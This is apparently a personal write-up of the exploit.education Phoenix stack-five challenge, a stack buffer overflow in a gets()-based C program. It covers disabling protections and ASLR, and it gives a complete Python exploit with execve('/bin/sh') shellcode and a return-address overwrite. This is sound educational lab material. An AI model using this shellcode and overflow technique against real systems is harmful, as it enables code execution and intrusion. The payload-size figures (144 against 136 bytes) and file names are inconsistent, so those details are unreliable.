description |
---|
07/27/2023 |
STACK FIVE!!!!
As opposed to executing an existing function in the binary, this time we’ll be introducing the concept of “shell code”, and being able to execute our own code.
Hints
- Don’t feel like you have to write your own shellcode just yet – there’s plenty on the internet.
- If you wish to debug your shellcode, be sure to make use of the breakpoint instruction. On i386 / x86_64, that’s 0xcc, and will cause a SIGTRAP.
- Make sure you remove those breakpoints after you’re done.
/*
* phoenix/stack-five, by https://exploit.education
*
* Can you execve("/bin/sh", ...) ?
*
* What is green and goes to summer camp? A brussel scout.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define LEVELNAME "mylevel"
#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"
char *gets(char *);
void start_level() {
char buffer[128];
gets(buffer);
}
int main(int argc, char **argv) {
printf("%s\n", BANNER);
start_level();
}
This challenge looks very similar to stack-four but it gives us a much larger buffer of 128-bytes to mess around with. Presumably for our shellcode.
I ran into some issues with this binary due to my shellcode not liking my environment, so just to make your guys' life easier, I recommend to compile stack-five with the following arguments:
gcc -g stack-five.c -o stack-five -fno-stack-protector -z execstack
This will remove stack protections such as canaries and executable stack spacing.
I also recommend to disable your ASLR while debugging:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
char *gets(char *);
void start_level() {
char buffer[128];
gets(buffer);
}
int main(int argc, char **argv) {
printf("%s\n", BANNER);
start_level();
}
We can see that we have a data type of char
that receives a pointer to the gets()
function and stores our input as a char *
.
We will then enter a start_level()
function that will store our input within a 128-byte
buffer using gets()
.
That's it! There are no other special functions going on here. Simply just main printing a defined banner and calling the start_level()
function as mentioned above.
With that said, let's throw it in pwndbg
and start debugging!
Since we are likely going to be messing around with buffers again, it is a good idea to throw data at the program in an attempt to find where the buffer is in memory.
We can do this similar to the method we used in stack-four using python3
:
python3 -c 'print("A" *128)' > test2.txt
We can multiply our A by 128 to fill our 128-byte buffer.
The first thing I like doing when I start debugging a new program is to list out my functions:
info functions
All defined functions:
File stack-five.c:
25: int main(int, char **);
20: void start_level();
Non-debugging symbols:
0x0000000000001000 _init
0x0000000000001050 __cxa_finalize@plt
0x0000000000001060 puts@plt
0x0000000000001070 gets@plt
0x0000000000001080 _start
0x00000000000010b0 deregister_tm_clones
0x00000000000010e0 register_tm_clones
0x0000000000001120 __do_global_dtors_aux
0x0000000000001160 frame_dummy
0x00000000000011b8 _fini
We can see our two that we want to focus on, main()
and start_level()
.
Place a breakpoint at our start_level()
and run our file with our file full of A's:
b start_level
Breakpoint 1 at 0x1175: file stack-five.c, line 22.
run < test.txt
Now there are some things that I want you to pay attention to:
Notice how we are on the breakpoint for start_level()
where gets(buffer)
is being called.
We see a lea
instruction to store our offset of [
0x80
``-``
rbp
]
in our rax
register.
- What is this doing? This is getting the address to the buffer so it can pass it to
gets()
as an argument hencemov
rdi
,
rax
- Also,
0x80
is equivalent 128 in decimal, hence our 128-byte buffer
There is then a call
instruction for gets()
for our buffer
.
Isn't that cool? Let's dive in even deeper.
We can better examine what is going on in our assembly code for start_level()
with:
disass start_level
Blue: end-branch (shadow stack stuff) -- we will not be worrying about this right now
Green: This is our prologue for start_level()
- Prepares the stack and registers to use the function -- establish the function's stack frame
- We can see a
push
instruction for the value ofrbp
to be pushed onto the stack- This will push the base pointer onto the stack to be restored later
- We can then see a
mov
instruction for the value ofrsp
to be stored inrbp
- In other words, take the top of the stack and put it in the bottom
- We are adding
0x80
to our rsp for ourbuffer
- We are loading the effective address (
lea
) for the offset of[
rbp-0x80
]
and storing the value inrax
as our return value - We are then using the
mov
instruction to move the value ofrax
intordi
as an argument - Next, we simply have a
call
instruction togets()
to store the contents of ourbuffer
finally - Lastly, we have a
nop
instruction for CPU-based reasons to properly align memory and prevent errors- This instruction literally stands for no operation, and does nothing
Red: This is our epilogue for start_level()
- The point of the epilogue is to tear down the pre-existing stack frame
- In other words, to undo the prologue
- Reverse to the prologue, we will be taking the bottom and making it the top again where we can prepare to return to our
main()
function - We see a
leave
instruction that will begin to tear down the stack frame - So,
leave
is interesting as it will implicitly drop rbp so we can free space for local variables Pop
rbp
off of the stack so we can restore values from before the prologueret
will return tomain()
by popping the previous stack frame off the stack and jump to it
Execute next instruction: ni
Print out our current stack:
x/60wx $rsp
This means examine 60 words in hex within our stack pointer (rsp).
We can see that the instruction that we are currently about to execute consists of moving the value of rax
into rdi
, so this won't do anything to our stack just yet.
We will see the real action when we execute the call
instruction.
You can see that our next instruction to be executed is gets(buffer)
.
This is our current stack layout before our buffer is filled with data.
With that said, let's execute our next instruction: ni
Execute one more time: ni
Examing our registers:
We can see that our data from test.txt
is starting to shed some light!
This is all occurring after we call gets()
, which takes our input and fills the buffer with said data!
Let's view the stack now:
Red = buffer (0x7fffffffe450
)
Yellow = Base Pointer (0x7fffffffe4d0
)
Green = Return address
Guess what happens if we subtract the base pointer by the buffer?
We get our offset of 0x80
!!!
128-bytes (buffer size -- shellcode + junk (A's) to fill the buffer) + 8-bytes for our rbp
+ 8-bytes for rip
with the address of the buffer) for a total of 144.
exploit.py
:
from pwn import *
import sys
#print("A"*88, end="")
shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" # /bin/sh shellcode
padding = b'A'* (136 -len(shellcode))
sys.stdout.buffer.write(shellcode)
sys.stdout.buffer.write(padding)
sys.stdout.buffer.write(b"\x50\xde\xff\xff\xff\x7f\x00\x00")
# OVERWRITE RIP with address 0x0000555555555277
# RAX 0x0000000000001277
# How does target binary consume data? -- gets()
# Where does the data go in memory (on the stack)? -- our 128-byte buffer[128]
# How much data do we need to get to return address? -- How far is buffer from return address. 144 bytes (total payload size)
# Where do we want to divert execution to? -- set rip to our shellcode in our buffer -- replace return address with 0x7fffffffde50
# 0x7fffffffde50
To reiterate and for clarity, why 136-bytes here? Well 128-bytes to fill buffer + 8-bytes for rbp
+ 8-bytes for rip
address of the buffer.
Also, I was able to get my shellcode from shell-storm:
{% embed url="http://shell-storm.org/shellcode/files/shellcode-806.html" %}
Prepare our exploit for use in pwndbg
:
python3 exploit.py > exploit
Load up pwndbg
: gdb stack-five
I will be using the gets()
instruction to set my breakpoint. If you don't have it, run your program and then disass start_level
, and you will be able to obtain the instruction.
b *0x000055555555517c
run < exploit
ni
ni
ni
ni
Wow, what is this in our disassembly???
That would be our shellcode beginning to initialize /bin/dash
;)
We can actually confirm these claims by checking out the instructions in main()
from the shell-storm site:
We can now press c
and we will continue with our execution, launching a shell, forcing our stack-five program to seg fault.